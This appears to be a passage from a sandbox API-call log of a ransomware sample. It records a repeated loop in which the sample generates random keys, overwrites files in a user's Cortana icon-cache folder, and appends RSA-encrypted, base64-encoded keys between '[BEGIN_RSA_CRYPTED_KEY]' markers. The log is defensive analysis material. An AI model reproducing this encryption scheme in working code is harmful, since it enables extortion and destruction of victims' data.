WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yQj0C7j02tpbdqAfFSFYkMPmaCLXp4PR50lkar0SF9Gd6qf0Twa3A+uRR6aYdP4a\nw5PteMpEdIV1CuqXH4NI/0H3THF47qm7LodcPqTsCwjA+ENoxvkrPklmlEP/Ki0v\nwj5DtFcBw9xq9pNv9sTvE40xYToxv4+VlZn0FJqL6WTad7c3eWsWx3t9QTn3EUjV\n6Nndfdr6n4UyawAII2qkYXnv69iIA3FQWoOqdbefYftJm9BvIi+vYzLN+FsJs/j2\nYMv/Jbdi/IS9jzHm47dC+M1vfZWCY5D6jvx53CG+LiCAsu2DiYfZ4lZziDvdXCiT\n/VTCisuLUDcVrPl/n8ZxgQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.705] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.705] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.706] CloseHandle (hObject=0x1afc) returned 1 [0247.707] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.708] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5202C284-5887-45AA-A00F-FDE7E88E85ED}", dwFileAttributes=0x80) returned 1 [0247.709] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{5202C284-5887-45AA-A00F-FDE7E88E85ED}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{5202c284-5887-45aa-a00f-fde7e88e85ed}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.709] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.709] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.711] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.711] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.711] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.711] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.712] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.712] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tXwn0ZPVlafYXJWLmlMWozXZ1dmUzLs5p2+yochZUAgAw2l2O/vGudwwhm0Ya54c\n2MrlnByhd+iF8u7MtslsfET2Ry9Xj7AjcZ2zKBEvg137aEw7KrG27q4F2q7ozL7X\nYPq/k0CBUgqnTViFeZCrDzPc07XNQ5YGthZrqc/ytTTFR5ywTYMU7iB+4Br0Ofi4\nDt4l5TPeSqDP1bPQhrWHyo49l1Fn+eAVt/Va63Pm8xTLXi0LV1UwFrReJD0o9peb\nxtJYjbNhlB5KePPgHsRUqP8BRPLb351Emci3oqCdKTxj14eKKJ7IgPVGz6mrZrle\nb4IoG0ghxrS3Scg6Vq4iTg==\n", pcchString=0x2e3f9a8) returned 1 [0247.712] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.712] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.712] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.712] CloseHandle (hObject=0x1afc) returned 1 [0247.714] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.714] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{51B0B7BF-2B1A-4FE9-8814-408CD303875D}", dwFileAttributes=0x80) returned 1 [0247.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{51B0B7BF-2B1A-4FE9-8814-408CD303875D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{51b0b7bf-2b1a-4fe9-8814-408cd303875d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.716] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.716] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.746] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.746] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.747] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.747] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.747] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.747] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.747] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uSsGu6TWNLsC8aeeJWXviqM47LtJg10V/zzMoAd6K4NSSPvjaZKcSKxjgR64RcLf\nZjLcf0L1jAcAuOA97WSAIsq/kLc9HR1E0k6j85a/0ZTCDKbY+LXmWwfJNLrnZCP5\nT9zHdyVFSbhOAX/Sg4nib6BpwVUIn05UMxziUjMiASk1rmFzWEhK6P/rpklCeAl5\nfpJm7YnW2uciPkQCp+VWPBcihqA7m58BhKthGcQnmWWHPixXY35Savo/ifKICmkE\ngT24I248JWotLi1fir7+ZaXOG4sL/YuLFNfdax8gV7I9NwOR53JYtSu/NodqHbDO\nwxgZzqZ49O4qXdLQRNzkHA==\n", pcchString=0x2e3f9a8) returned 1 [0247.748] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.748] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.748] CloseHandle (hObject=0x1afc) returned 1 [0247.750] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.750] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4E7056C1-8F8C-45DE-873F-DC08FDD509FD}", dwFileAttributes=0x80) returned 1 [0247.751] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4E7056C1-8F8C-45DE-873F-DC08FDD509FD}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4e7056c1-8f8c-45de-873f-dc08fdd509fd}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.751] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.752] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.754] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.754] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.754] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.754] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.754] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.754] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.755] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.755] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.755] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Yj1YbAUgHZS8Z/oUsOZ6J0TtewHSBjUWEto7K617hGxoWnARJfXXGLfxCnEp/Sm3\ncSVujLN2bamsZ7DCc7r8qw7Xqfhe13BGbXF2x7f28dx7aBLUaXQhRLvhi20vfF6B\nqxVsahid/qX9lNqpLDA4I9o0NCw6vEe/P3eGhE8r+ZOFH2WX6U/mNzv0KLZiHaIS\n7CsyNbYkDG89NjtTKi2Z+KlUsUntSvFyc82RBsFjeNPdNWw1XXmLcUJ1dgIWLXpx\nym3Bkz9bevS/jaMd8L6OINMKBHuicxo6qrz9tvemYmq8F5k7rnhbUXjfRmqetbMU\nqMR8bNI94L4Qn84vOLA+tQ==\n", pcchString=0x2e3f9a8) returned 1 [0247.755] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.755] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.755] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.755] CloseHandle (hObject=0x1afc) returned 1 [0247.763] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.763] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4DC87667-8E09-4718-960C-CACE353718FC}", dwFileAttributes=0x80) returned 1 [0247.764] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4DC87667-8E09-4718-960C-CACE353718FC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4dc87667-8e09-4718-960c-cace353718fc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.765] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.765] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.797] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.797] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.797] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.797] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.798] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.798] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Pl72zFW7ReGpqkfVJawsfejdH0JvRMt8siaTBtf5LaWjK9nYWWonikBDvx7gIuTF\n6qu244N7nezJQOJ9woPXN/WTinB03CuLLdNyH9lzsr+AmZ1n3GiJqMYJkgYM6f8W\nv0doADi/5xWqZkcQueNFawQDwtagqRxm6tjwHvpgKIK9Kx9jol0RLUFNnMKeYhfB\nGcnyA+Ne7TaGmdr8mOfUzEf6XE9CJysAW8LoEt7CtGxrgdRk+w3tcDpo2daXgGHz\nbpTspGkWYut+u5Ttt3goFUVBlZuycI0vut3pZ6VZF8RuOBQmcDsxwCZ60c1d2RNL\nSh6/OJgvi3u06SzdV4RKMw==\n", pcchString=0x2e3f9a8) returned 1 [0247.798] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.798] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.798] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.798] CloseHandle (hObject=0x1afc) returned 1 [0247.803] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.803] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4CCC5AFB-555C-44D5-892C-F0F2617C631D}", dwFileAttributes=0x80) returned 1 [0247.804] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4CCC5AFB-555C-44D5-892C-F0F2617C631D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4ccc5afb-555c-44d5-892c-f0f2617c631d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.805] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.805] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.807] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.808] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.808] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.808] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.808] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.808] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.808] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.809] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.809] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ofyQ9fFOlhJ/S8Ql/IQ8JwyhrGmskAMyWG3oheER4OGdHP+vhZolyPJ3GgHX1dbN\n7aw7tLCVgjzTBaGgaC6BKyPwkDXRnUEf0/xxnTISaxp5m11N00rfHAaCkupSB/jz\ndSBj03SuRoJHE3nCtz011NrqjkHZ786/fdy0/oz1rCWcYkGy/7a6IQWLp73wt+gO\n1i38OdkfcH1VWGt29a3QYm4qyEmmzI+Jl8Fxb8uA9//fOv3qlZJmnq54uw3Bj5ur\nlel5aZwTCYqIfP/2qC1clFJSCxLN0m1NRGN4TeGtS8hvYxKBp4bEiBhmtLHeJnR3\nUvqF6FFqdz+6nNYk3p5dfw==\n", pcchString=0x2e3f9a8) returned 1 [0247.809] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.809] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.809] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.809] CloseHandle (hObject=0x1afc) returned 1 [0247.815] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.815] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4BCD2F54-44AE-4E42-B58F-3090783A3EC4}", dwFileAttributes=0x80) returned 1 [0247.816] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{4BCD2F54-44AE-4E42-B58F-3090783A3EC4}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{4bcd2f54-44ae-4e42-b58f-3090783a3ec4}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.816] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.816] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.842] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.842] 